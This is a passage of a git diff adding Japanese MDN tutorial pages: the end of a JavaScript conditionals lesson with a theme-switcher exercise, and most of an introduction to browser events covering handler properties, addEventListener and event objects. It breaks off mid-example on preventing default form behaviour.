+ <label for="theme">テーマを選んでください: </label> + <select id="theme"> + <option value="white">白</option> + <option value="black">黒</option> + <option value="purple">紫</option> + <option value="yellow">黄</option> + <option value="psychedelic">サイケ</option> + </select> + + <h1>私のウェブサイト</h1> +</div> + +<h2>コードエディタ</h2> +<p class="a11y-label">コードエディタから抜けるには Esc キーを押して下さい(タブキーではタブ文字を挿入します)。</p> + +<textarea id="code" class="playable-code" style="height: 450px;width: 95%"> +const select = document.querySelector('select'); +const html = document.querySelector('.output'); + +select.onchange = function() { + const choice = select.value; + + // ここに SWITCH ステートメントを書く +} + +function update(bgColor, textColor) { + html.style.backgroundColor = bgColor; + html.style.color = textColor; +}</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="リセット"> + <input id="solution" type="button" value="答えを見る"> +</div> +</pre> + +<pre class="brush: css notranslate">html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +}</pre> + +<pre class="brush: js notranslate">const textarea = document.getElementById('code'); +const reset = document.getElementById('reset'); +const solution = document.getElementById('solution'); +let code = textarea.value; +let userEntry = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = jsSolution; + solution.value = '答えを見る'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === '答えを見る') { + textarea.value = solutionEntry; + solution.value = '答えを隠す'; + } else { + textarea.value = userEntry; + solution.value = '答えを見る'; + } + updateCode(); +}); + +const jsSolution = 'const select = document.querySelector(\'select\');\nconst html = document.querySelector(\'.output\');\n\nselect.onchange = function() {\n const choice = select.value;\n\n switch(choice) {\n case \'black\':\n update(\'black\',\'white\');\n break;\n case \'white\':\n update(\'white\',\'black\');\n break;\n case \'purple\':\n update(\'purple\',\'white\');\n break;\n case \'yellow\':\n update(\'yellow\',\'darkgray\');\n break;\n case \'psychedelic\':\n update(\'lime\',\'purple\');\n break;\n }\n}\n\nfunction update(bgColor, textColor) {\n html.style.backgroundColor = bgColor;\n html.style.color = textColor;\n}'; +let solutionEntry = jsSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// タブキーでテキストエリアから抜けてしまうのを防ぎ、 +// 代わりにカーソル位置にタブ文字を挿入する + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + const scrollPos = textarea.scrollTop; + const caretPos = textarea.selectionStart; + const front = (textarea.value).substring(0, caretPos); + const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// ユーザーがテキストエリアのコードを書き換える度に userCode を毎回更新する + +textarea.onkeyup = function(){ + // ユーザーのコードが表示されているときのみ状態を保存し、 + // 答えのコードでユーザーコードが上書きされないようにする + if(solution.value === '答えを見る') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_2', '100%', 950, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="スキルをテストしましょう!">スキルをテストしましょう!</h2> + +<p>この記事の最後まで来ましたが、最も大事な情報を覚えていますか？先に進む前に、この情報を保持しているか検証するテストがあります — <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/Building_blocks/Test_your_skills:_Conditionals">Test your skills: Conditionals</a> を見てください。</p> + +<h2 id="Conclusion" name="Conclusion">まとめ</h2> + +<p>これで JavaScript での条件構造について今知っておくべきことはすべてです！簡単な例を通してそのコンセプトが理解できたと思います。もし理解できないことがあれば、何度も記事を読み返しましょう。<a href="/ja/Learn#Contact_us">私たちに連絡を</a>しても構いません。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/Learn/JavaScript/First_steps/Math#Comparison_operators">比較演算子</a></li> + <li><a href="/ja/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Conditional_statements">条件式についての詳細</a></li> + <li><a href="/ja/docs/Web/JavaScript/Reference/Statements/if...else">if...else リファレンス</a></li> + <li><a href="/ja/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">条件 (三項) 演算子リファレンス</a></li> +</ul> + +<p>{{NextMenu("Learn/JavaScript/Building_blocks/Looping_code", "Learn/JavaScript/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/conditionals">コードでの意思決定 — 条件文</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code">ループコード</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions">関数 — 再利用可能なコードブロック</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">独自の関数を作る</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Return_values">関数の戻り値</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events">イベントの紹介</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Image_gallery">イメージギャラリー</a></li> +</ul> diff --git a/files/ja/learn/javascript/building_blocks/events/index.html b/files/ja/learn/javascript/building_blocks/events/index.html new file mode 100644 index 0000000000..7c40419c10 --- /dev/null +++ b/files/ja/learn/javascript/building_blocks/events/index.html @@ -0,0 +1,597 @@ +--- +title: イベントへの入門 +slug: Learn/JavaScript/Building_blocks/Events +tags: + - Beginner + - CodingScripting + - JavaScript + - イベント + - イベントハンドラー + - ガイド + - 学習 + - 記事 +translation_of: Learn/JavaScript/Building_blocks/Events +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Return_values","Learn/JavaScript/Building_blocks/Image_gallery", "Learn/JavaScript/Building_blocks")}}</div> + +<p class="summary">イベントは、あなたがプログラムを書いているシステムで生じた動作、出来事を指します。システムからあなたへ、イベントとして何かあった事を知らせてくるので、必要であればそれに何らかの反応を返す事ができます。例えば、ユーザーがウェブページ上でボタンを押したとき、ある情報を表示するように反応させたいと思うかもしれません。この記事では、イベントに関する重要な概念を取り上げ、ブラウザーの中でのイベントの振る舞いを見ていきます。ここでは、全てを説明するのではなく、この段階で知っておくべき内容を取り上げます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>コンピューターに関する基本的な知識があること。HTML と CSS について理解していて、<a href="/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a>の記事を理解していること。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>イベントの基本的な理論を理解すること。ブラウザーでの振る舞いを理解し、プログラミング環境が変わると、イベントの振る舞いが変わることを理解すること。</td> + </tr> + </tbody> +</table> + +<h2 id="A_series_of_fortunate_events" name="A_series_of_fortunate_events">運命的なイベントの連続</h2> + +<p>先ほど説明しましたが、<strong>イベント</strong>はあなたがプログラムしているシステムの中で生じた動作や出来事です。つまり、あるイベントが起きたときに、システムはある種の信号を発します。さらに、ある種のアクションが自動的に実行されるためのメカニズムも提供します。例えば、空港では、飛行機が離陸するために滑走路がクリアになった時に、信号がパイロットに送られます。その結果、パイロットは飛行機の操縦を開始します。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14077/MDN-mozilla-events-runway.png" style="display: block; margin: 0px auto;"></p> + +<p>ウェブの場合は、イベントは、ブラウザーのウィンドウの中で発火されます、そしてその中に属する特定の項目に紐付く傾向にあります — これは単一の要素、要素の集合、現在のタブでロードされた HTML 文書、ブラウザー画面全体といったものです。発生するイベントはたくさんの異なる種類があります。例をあげると。</p> + +<ul> + <li>ユーザーがある要素の上をマウスでクリックしたり、ある要素の上にカーソルを持ってくる</li> + <li>ユーザーがキーボードのキーを押す</li> + <li>ユーザーがブラウザー画面をリサイズしたり閉じたりする</li> + <li>ウェブページのロードの完了</li> + <li>フォームの送信</li> + <li>ビデオが再生中、停止中、再生が終わった</li> + <li>エラーの発生</li> +</ul> + +<p>ここや MDN <a href="/ja/docs/Web/Events">Event リファレンス</a>を覗いてみれば、<strong>とてもたくさん</strong>の応答可能なイベントがあるのが判るでしょう。</p> + +<p>それぞれの利用可能なイベントには<strong>イベントハンドラー</strong>があり、これはイベントに発火した時に実行される (通常はユーザー定義の JavaScript 関数) コードのブロックのことです。イベントの発火に対する応答としてコードのブロックが実行されるように定義する事を、<strong>イベントハンドラーを登録する</strong>と言います。イベントハンドラーは時に<strong>イベントリスナー</strong> と呼ばれる事を付記しておきます—我々の目的から見ると言い変えてもほとんど問題ないのですが、厳密に言えば一緒に動作する別のものです。イベントリスナーはイベントの発生を監視し、イベントハンドラーは発生したイベントの応答として動作するコードです。</p> + +<div class="note"> +<p><strong>メモ</strong>: 大事な事ですがウェブのイベントは JavaScript 言語の主要部分の一部ではありません — ブラウザーに組み込まれた JavaScript API の一部として定義されたものです。</p> +</div> + +<h3 id="A_simple_example" name="A_simple_example">簡単な例</h3> + +<p>ここで何を言ってるのか説明するため、簡単な例を見てみましょう。このコースでこれまでに例の多くに使われているイベントやイベントハンドラーを見てきました、しかし、知識を固めるために整理をしましょう。続く例では、押すと背景色がランダムに変化する {{htmlelement("button")}} が一つあります:</p> + +<pre class="brush: html notranslate"><button>Change color</button></pre> + +<div class="hidden"> +<pre class="brush: css notranslate">button { margin: 10px };</pre> +</div> + +<p>JavaScript はこのようになります:</p> + +<pre class="brush: js notranslate">const btn = document.querySelector('button'); + +function random(number) { + return Math.floor(Math.random() * (number+1)); +} + +btn.onclick = function() { + const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + document.body.style.backgroundColor = rndCol; +}</pre> + +<p>このコードでは、<code>btn</code> という変数に {{domxref("Document.querySelector()")}} 関数を使って取得したボタンへの参照を格納しています。それとは別にランダムな数値を返す関数も定義しています。コードの 3 つ目の部分はイベントハンドラーです。<code>btn</code> 変数は<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/button"><button></a></code>要素を指していますが、この種のオブジェクトにはたくさん発火し得るイベントがあるので、色々なイベントハンドラーが使えます。<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/GlobalEventHandlers/onclick">onclick</a></code> イベントハンドラプロパティに、ランダムな RGB色を生成し <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/body"><body></a></code> の <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/CSS/background-color">background-color</a></code> を設定するコードを抱えた匿名関数を代入する事で、<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/Element/click_event">click</a></code> イベントが発火されるのを待ちかまえます。</p> + +<p>このコードは <code><button></code> 要素でクリックイベントが発火すれば常に実行されます、要はユーザーがクリックしたらいつでも。</p> + +<p>この例の出力は以下のようになります:</p> + +<p>{{ EmbedLiveSample('A_simple_example', '100%', 200, "", "", "hide-codepen-jsfiddle") }}</p> + +<h3 id="Its_not_just_web_pages" name="It's_not_just_web_pages">ただのウェブページではありません</h3> + +<p>ここで言及しておくべき事は、イベントは JavaScript 固有のものではないという事です — ほとんどのプログラミング言語はいくつかのイベントモデルを持ち、その動作する方法はしばしは JavaScript の方式とは異なっています。実際、ウェブページの JavaScript のイベントモデルは他の環境で用いられている JavaScript のイベントモデルと異なっています。</p> + +<p>例えば、<a href="/ja/docs/Learn/Server-side/Express_Nodejs">Node.js</a> は開発者に JavaScript でネットワークとサーバーサイドのアプリケーションを構築することを可能にするとても有名な JavaScript ランタイムです。<a href="https://nodejs.org/docs/latest-v12.x/api/events.html">Node.js event model</a> はイベントを待ち受けるリスナー、イベントを定期的に発生させるエミッターに依拠しています —たいして違ってないように聞こえますが、コードは極めて異なっていて、イベントリスナーを登録する <code>on()</code> や、一度実行したら登録を解除するイベントリスナーを登録するための <code>once() </code> のような関数を使っていきます。<a href="https://nodejs.org/docs/latest-v12.x/api/http.html#http_event_connect">HTTP connect event docs</a> が使い方の良い例を教えてくれます。</p> + +<p>その他の例として、<a href="/ja/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a> と呼ばれる技術を使って、クロスブラウザーアドオン (ブラウザーの機能拡張) を JavaScript で作成できます。イベントモデルは Web イベントモデルと似ていますが、ほんの少し違いがあります (イベントリスナーのプロパティはキャメルケース (例 <code>onmessage</code> でなく <code>onMessage</code>) で命名されていて、<code>addListener</code> 関数で結び付ける必要があります。例として <a href="/ja/Add-ons/WebExtensions/API/runtime/onMessage#Examples"><code>runtime.onMessage</code> page</a> を確認してください。</p> + +<p>学習の今の段階で、そのような他の環境について何か理解する必要はありません。イベントは異なるプログラミング環境では異なることがあるとだけ認識してください。</p> + +<h2 id="Ways_of_using_web_events" name="Ways_of_using_web_events">ウェブイベントの使用方法</h2> + +<p>関連づけたいイベントが発火した時に走らせたいイベントリスナーコードを ウェブページに追加する方法はいろいろあります。このセクションでは様々なメカニズムを見ていき、どれを使うべきなのか議論していきます。</p> + +<h3 id="Event_handler_properties" name="Event_handler_properties">イベントハンドラープロパティ</h3> + +<p>イベントハンドラーコードを代入するためのいろいろなプロパティがあり、そういったものをここまでのコースで最もたくさん見てきました。上記の例に戻りましょう。</p> + +<pre class="brush: js notranslate">const btn = document.querySelector('button'); + +btn.onclick = function() { + const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + document.body.style.backgroundColor = rndCol; +}</pre> + +<p><code><a href="/ja/docs/Web/API/GlobalEventHandlers/onclick">onclick</a></code> プロパティがこの例で使用されているイベントハンドラープロパティです。ボタンで利用可能なプロパティ(例えば <code><a href="/ja/docs/Web/API/Node/textContent">btn.textContent</a></code> や <code><a href="/ja/docs/Web/API/HTMLElement/style">btn.style</a></code>)のうちの 1 プロパティに過ぎませんが、特別な種類のものです(コードを代入すると、そのコードはボタンでイベントが発火した際に実行される)。</p> + +<p>ハンドラープロパティには、名前付き関数の関数名 (<a href="/ja/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a> でみられるような) を設定することもできます。こう書いても動作は同じです:</p> + +<pre class="brush: js notranslate">const btn = document.querySelector('button'); + +function bgChange() { + const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + document.body.style.backgroundColor = rndCol; +} + +btn.onclick = bgChange;</pre> + +<p>利用できるイベントハンドラープロパティにはとてもたくさんの種類があります。実験してみましょう。</p> + +<p>まずは、<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerproperty.html">random-color-eventhandlerproperty.html</a> のローカルコピーを作成し、ブラウザーで開いてくださいこれはこの記事ですでに遊んだ簡単なランダム色のサンプルです。さて、<code>btn.onclick</code> のところを以下の異なる値に変えてみて、結果を順に見てみてください:</p> + +<ul> + <li><code><a href="/ja/docs/Web/API/GlobalEventHandlers/onfocus">btn.onfocus</a></code> と <code><a href="/ja/docs/Web/API/GlobalEventHandlers/onblur">btn.onblur</a></code> — ボタンがフォーカスされフォーカスが外れる(Tab キーをパチパチして、ボタンをフォーカスしたり外したりしてみて)と色が変わります。これらはフォームのフィールドがフォーカスされている時にフィールドに何を入れたらいいのか示したり、フィールドの入力が終った直後に入力として正しくない値が入っている際のエラーメッセージを表示するような場合によく使われます。</li> + <li><code><a href="/ja/docs/Web/API/GlobalEventHandlers/ondblclick">btn.ondblclick</a></code> — ダブルクリックされた場合だけ色が変わります。</li> + <li><code><a href="/ja/docs/Web/API/GlobalEventHandlers/onkeypress">window.onkeypress</a></code>, <code><a href="/ja/docs/Web/API/GlobalEventHandlers/onkeydown">window.onkeydown</a></code>, <code><a href="/ja/docs/Web/API/GlobalEventHandlers/onkeyup">window.onkeyup</a></code> — キーボードのキーが押された時に色が変わります。<code>keypress</code> は普通のキー入力(ボタンを押して離して)を示しますが、<code>keydown</code> と <code>keyup</code> はキーストロークのうち押すだけ、離すだけの部分それぞれを指します。ボタンそのもののイベントハンドラーに登録しても上手く動かないことに注意してください — <a href="/ja/docs/Web/API/Window">window</a> オブジェクトに登録しなければならず、これはブラウザーのウィンドウ全体を表わしています。</li> + <li><code><a href="/ja/docs/Web/API/GlobalEventHandlers/onmouseover">btn.onmouseover</a></code> と <code><a href="/ja/docs/Web/API/GlobalEventHandlers/onmouseout">btn.onmouseout</a></code> — マウスポインタがボタンの上に来たときとボタンの上から外れた時に色が変わります。</li> +</ul> + +<p>いくつかのイベントはとても汎用的なのでほとんどどこでも使えます(例えば onlick ハンドラはほぼ全ての要素に登録できます)が、いくつかはもっと限定的で、特定の状況でしか使えません(例えば <a href="https://developer.mozilla.org/ja/docs/Web/API/GlobalEventHandlers/GlobalEventHandlers.onplay">onplay </a> は{{htmlelement("video")}}のような特定の要素でのみ意味を持ちます)。</p> + +<h3 id="インラインイベントハンドラー_—_使っちゃだめ">インラインイベントハンドラー — 使っちゃだめ</h3> + +<p>あなたのコードでこんな形を見た事があるかもしれません:</p> + +<pre class="brush: html notranslate"><button onclick="bgChange()">Press me</button> +</pre> + +<pre class="brush: js notranslate">function bgChange() { + const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + document.body.style.backgroundColor = rndCol; +}</pre> + +<div class="note"> +<p>メモ: <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerattributes.html">こちら</a>に GitHub上のサンプルがあります (また、<a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-eventhandlerattributes.html">こちら</a>で実際に動くところを見られます)。</p> +</div> + +<p>Web 上で見かける最初期のイベントハンドラー登録方法には、上の例のような<strong>イベントハンドラーHTML属性</strong>(<strong>インラインイベントハンドラー</strong>とも言う)があります — 属性値がイベント発生時に実行したい JavaScript コードそのものです。上の例では{{htmlelement("script")}}要素の中で定義された関数を起動していますが、直接JavsScript そのものを属性の中に入れる事もできます。例えば:</p> + +<pre class="brush: html notranslate"><button onclick="alert('Hello, this is my old-fashioned event handler!');">Press me</button></pre> + +<p>多くのイベントハンドラープロパティと等価な HTML属性を見付けるでしょうが、使うべきではありません — こういうのは悪い方法とみなされています。ちょっとした事を手早く片づけたい時、イベントハンドラー属性を使うのが簡単に思えるかもしれませんが、あっという間に手がつけられない、効率の悪いものになってしまいます。</p> + +<p>そもそも、あなたの HTML と JavaScript を混在させると、読みにくくなってしまうため、良いアイデアではありません — あなたの JavaScript は一ヶ所にまとめる方が良いです。別の一つのファイルになっていれば、それを複数の HTML ドキュメントに適用できますから。</p> + +<p>(HTML と JavaScript が)一つのファイルになっているとしても、インラインイベントハンドラーは良いアイデアではありません。ボタン一つならいいですが、ボタンが 100 あったら? ファイルに 100 の属性を追加したならば、あっという間に管理していくのは悪夢と化す事でしょう。JavaScript を使えば、ページにボタンがいくつあろうが、全部のボタンにイベントハンドラーを追加するのは簡単です、こんな具合です:</p> + +<pre class="brush: js notranslate">const buttons = document.querySelectorAll('button'); + +for (let i = 0; i < buttons.length; i++) { + buttons[i].onclick = bgChange; +}</pre> + +<p class="brush: js">ここにある他のオプションは <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/NodeList">NodeList</a></code> オブジェクトの組み込みメソッドの <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/NodeList/forEach">forEach()</a></code> で使えることに注意してください:</p> + +<pre class="brush: js notranslate">buttons.forEach(function(button) { + button.onclick = bgChange; +});</pre> + +<div class="note"> +<p><strong>注</strong>: プログラムロジックをコンテンツから分離しておくと、あなたのサイトはサーチエンジンにとってより好ましいものになります。</p> +</div> + +<h3 id="addEventListener_と_removeEventListener">addEventListener() と removeEventListener()</h3> + +<p>最新のイベント機構は <a href="https://www.w3.org/TR/DOM-Level-2-Events/">Document Object Model (DOM) Level 2 Events</a> 仕様で規定されていて、ブラウザーに新しい関数が追加されました — <code><a href="/ja/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>です。この関数はイベントハンドラープロパティと同じ方向性ですが、文法は明確に異なります。ランダム色の例をこんな風に書き換える事ができます:</p> + +<pre class="brush: js notranslate">const btn = document.querySelector('button'); + +function bgChange() { + const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + document.body.style.backgroundColor = rndCol; +} + +btn.addEventListener('click', bgChange);</pre> + +<div class="note"> +<p>メモ: <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-addeventlistener.html">こちら</a>に GitHub上のサンプルがあります (また、<a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-addeventlistener.html">こちら</a>で実際に動くところが見られます)。</p> +</div> + +<p><code>addEventListener()</code> 関数のカッコの中で、二つの引数を指定しています — ハンドラーを登録したいイベントの名前と、それに反応して実行させたいコードを含んだ関数です。匿名関数を使って、実行したいコードを全部 addEventListener() 関数の引数に書いてしまっても全く問題ありません。こんな具合です:</p> + +<pre class="brush: js notranslate">btn.addEventListener('click', function() { + const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + document.body.style.backgroundColor = rndCol; +});</pre> + +<p>この方式は、ここまでで見てきた古い方式に勝る点がいくつかあります。まず第一に、逆を行なう関数 <code><a href="/ja/docs/Web/API/EventTarget/removeEventListener">removeEventListener()</a></code>があり、以前に追加したリスナーを削除できます。例えばこうすると、このセクションの最初のコード部で追加したリスナーを削除します:</p> + +<pre class="brush: js notranslate">btn.removeEventListener('click', bgChange);</pre> + +<p>単純で小さなプログラムではたいした事ありませんが、大きくて複雑なプログラムでは、古く使われないイベントハンドラーを除去しておくと効率が良くなります。さらに、これは例えば同じボタンに状況の違いによって異なる動作をさせる事ができるようになります — ただ適切なイベントハンドラーを追加したり削除するだけで良いのです。</p> + +<p>第二に、同じリスナーに複数のハンドラーを登録できます。<br> + 次では二つのハンドラの両方は適用されません:</p> + +<pre class="brush: js notranslate">myElement.onclick = functionA; +myElement.onclick = functionB;</pre> + +<p>二行目で最初に設定した <code>onclick</code> の値が上書きされるからです。<br> + ですがこれなら動きます:</p> + +<pre class="brush: js notranslate">myElement.addEventListener('click', functionA); +myElement.addEventListener('click', functionB);</pre> + +<p>要素がクリックされると、どちらの関数も走ります。</p> + +<p>さらには、この方式ではもっとたくさんのパワフルな機能やオプションが使えます。それらはこの記事の範疇を少しばかり超えているので、知りたければ <code><a href="/ja/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> と <code><a href="/ja/docs/Web/API/EventTarget/removeEventListener">removeEventListener()</a></code> のリファレンスページを見てください</p> + +<h3 id="What_mechanism_should_I_use" name="What_mechanism_should_I_use">どの方式を使えば良い?</h3> + +<p>三つの方式のうち、イベントハンドラーHTML属性は絶対使うべきではありません — 前に書いたように、時代遅れで悪いやり方です。</p> + +<p>他の二つはまあまあどっちでも良いです、少なくとも単純な用途では:</p> + +<ul> + <li>イベントハンドラープロパティは力とオプションに欠けますが、ブラウザー間での互換性が高いです(IE8 ですら動きます)。学習を始めるならここから始めるのが良いかもしれません。</li> + <li>DOM レベル 2 イベント(<code>addEventListener()</code>他)はもっとパワフルですが、もっと複雑でちょっと互換性に欠けます(IE9以降でサポート)。こちらも試していき、可能なところではこちらを使えるようになりましょう。</li> +</ul> + +<p>三番目の方式の最大の利点は、必要なときに removeEventListener() 関数でイベントハンドラーコードを削除できる事、必要なときは要素に同種のリスナーを複数追加できる事です。例えば、ある要素に対して <code>addEventListener('click', function() { ... })</code> を別の関数を第二引数に指定して何回か呼ぶ事ができます。これはイベントハンドラープロパティでは、プロパティは後からセットした値で上書きされてしまうので、できません。e.g.:</p> + +<pre class="brush: js notranslate">element.onclick = function1; +element.onclick = function2; +etc.</pre> + +<div class="note"> +<p><strong>注</strong>: もし仕事で IE8 より古いブラウザーをサポートするよう言われているなら、そのような古代のブラウザーは新しいものとは違ったイベントモデルを使っているため、困難にぶつかるかもしれません。でも怖がらないで。大半の JavaScript ライブラリ(例えば <code>jQuery</code>)には、ブラウザー間の差異をとっぱらえる関数が備わっています。勉強中のあなたがこの点について心配しすぎる必要はありません。</p> +</div> + +<h2 id="Other_event_concepts" name="Other_event_concepts">その他、イベントに関する概念</h2> + +<p>このセクションでは、イベントに関連するより進んだ概念について軽くさらっていきます。今の時点で完全に理解する必要があるほど重要ではありませんが、ときどき見かけることになるであろうコードのパターンがなぜそうなっているのか、理解する助けになるかもしれません。</p> + +<h3 id="Event_objects" name="Event_objects">Event objects</h3> + +<p>ときどきイベントハンドラー関数内で <code>event</code>、evt、単に <code>e</code> などと名付けられた引数を見かけるかもしれません。<br> + これらは<strong>イベントオブジェクト</strong>と呼ばれ、イベントの追加機能や情報を提供する目的でイベントハンドラーに自動的に渡されます。例えば、またランダム色の例をちょっと書き換えてみましょう:</p> + +<pre class="brush: js notranslate">function bgChange(e) { + const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + e.target.style.backgroundColor = rndCol; + console.log(e); +} + +btn.addEventListener('click', bgChange);</pre> + +<div class="note"> +<p><strong>注</strong>: <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventobject.html">こちら</a> に GitHub上のサンプルがあります (また、<a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-eventobject.html">こちら</a>で実際に動くところが見れらます)。</p> +</div> + +<p>イベントオブジェクト <strong>e</strong> が関数に含まれていて、関数内で <code>e.target</code> — これはボタンそのもの — の背景色スタイルを設定しているのがわかるでしょう。イベントオブジェクトの <code>target</code> プロパティは、常にイベントが生じた要素への参照となっています。ですからこの例ではページではなくボタンの背景色がランダムに変わります。</p> + +<div class="note"> +<p><strong>注</strong>: イベントオブジェクトには好きな名前を使えます — イベントハンドラー関数のカッコの中に使いたい名前を書くだけです。<code>e</code>/<code>evt</code>/<code>event</code> が開発者の間でとても良く使われていますが、これらが短くて覚えやすいからです。標準に従うのはいつだって良いやり方です。</p> +</div> + +<p>複数の要素に同じイベントハンドラを割り当てて、どれかでイベントがあったときに何かさせたいような場合、<code>e.target</code> はとてつもなく有用なものです。複数の要素に同じイベントハンドラーを割り当てて、どれかでイベントがあったときに何かさせたいような場合、e.target はとてつもなく有用なものです。例えばクリックすると見えなくなるタイルが 16 個あるとします。<code>e.target</code> を使ってそれをただ消せるなら、もっと難解な手段で選びだすのよりも使いすいでしょう。続く例では (完全なソースコードは <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/useful-eventtarget.html">useful-eventtarget.html</a> を見てください; ここで <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/useful-eventtarget.html">ライブ実行</a> も見られます)、16 個の {{htmlelement("div")}} 要素を JavaScript で生成します。そしてこれらを全部 {{domxref("document.querySelectorAll()")}}を使って選択し、ループで一つ一つに <code>onclick</code> ハンドラを追加して、それぞれがクリックされた時にランダムな色が表われるようにしています:</p> + +<pre class="brush: js notranslate">const divs = document.querySelectorAll('div'); + +for (let i = 0; i < divs.length; i++) { + divs[i].onclick = function(e) { + e.target.style.backgroundColor = bgChange(); + } +}</pre> + +<p>結果はこうです(クリックして遊んでみてください):</p> + +<div class="hidden"> +<h6 id="Hidden_example" name="Hidden_example">Hidden example</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Useful event target example</title> + <style> + div { + background-color: red; + height: 100px; + width: 25%; + float: left; + } + </style> + </head> + <body> + <script> + for (let i = 1; i <= 16; i++) { + const myDiv = document.createElement('div'); + document.body.appendChild(myDiv); + } + + function random(number) { + return Math.floor(Math.random()*number); + } + + function bgChange() { + var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + return rndCol; + } + + const divs = document.querySelectorAll('div'); + + for (let i = 0; i < divs.length; i++) { + divs[i].onclick = function(e) { + e.target.style.backgroundColor = bgChange(); + } + } + </script> + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_example', '100%', 400) }}</p> + +<p>あなたが使うであろうイベントハンドラーのほとんどでは、イベントオブジェクトには標準的なプロパティと関数(メソッド)({{domxref("Event")}}を参照してください)だけがあります。もっと上級者向けハンドラーでは、動作に必要な追加データを保持するために特殊なプロパティを付与するものもあります。例えば <a href="/ja/docs/Web/API/MediaRecorder_API">Media Recorder API</a> には <code>dataavailable</code> イベントがあり、オーディオやビデオの録音や再生が終わって何か(保存したり再生したり)する準備ができたところで発火します。これに紐付く <a href="/ja/docs/Web/API/MediaRecorder/ondataavailable">ondataavailable</a> ハンドラーのイベントオブジェクトには録音・録画データを保持する data プロパティがあり、これを使って何かしらを行なえます。</p> + +<h3 id="Preventing_default_behavior" name="Preventing_default_behavior">標準の動作を抑制する</h3> + +<p>ときにはイベントに付随する標準動作を止めたい場合があるでしょう。一番よくあるのは、ウェブのフォーム、例えばカスタマイズした登録フォームです。詳細を入力し終えてサブミットボタンを押した時、普通の動作ではデータがサーバーの指定のページに送られて処理され、ブラウザーは"成功しました"ページ(や他に指定されていない場合、同様なページ)にリダイレクトされたりなんやらします。</p> + +<p>ユーザーが適切なデータを送信しなかった場合に問題が発生します — 開発者としてあなたはサーバーへのデータ送信を抑止し、どこに問題があってデータを適切なものにするにはどうすればいいのか示す、ユーザーへのエラーメッセージを表示したいことでしょう。ブラウザーの中にはフォームデータの自検証機能を備えたものもありますが、多くはないので、それには頼らず自前の検証機能を実装すべきです。簡単な例を見てみましょう。</p> + +<p>まず、あなたにあなたの姓と名を入力させる単純な HTML フォームです。</p> + +<pre class="brush: html notranslate"><form> + <div> + <label for="fname">First name: </label> + <input id="fname" type="text"> + </div> + <div> 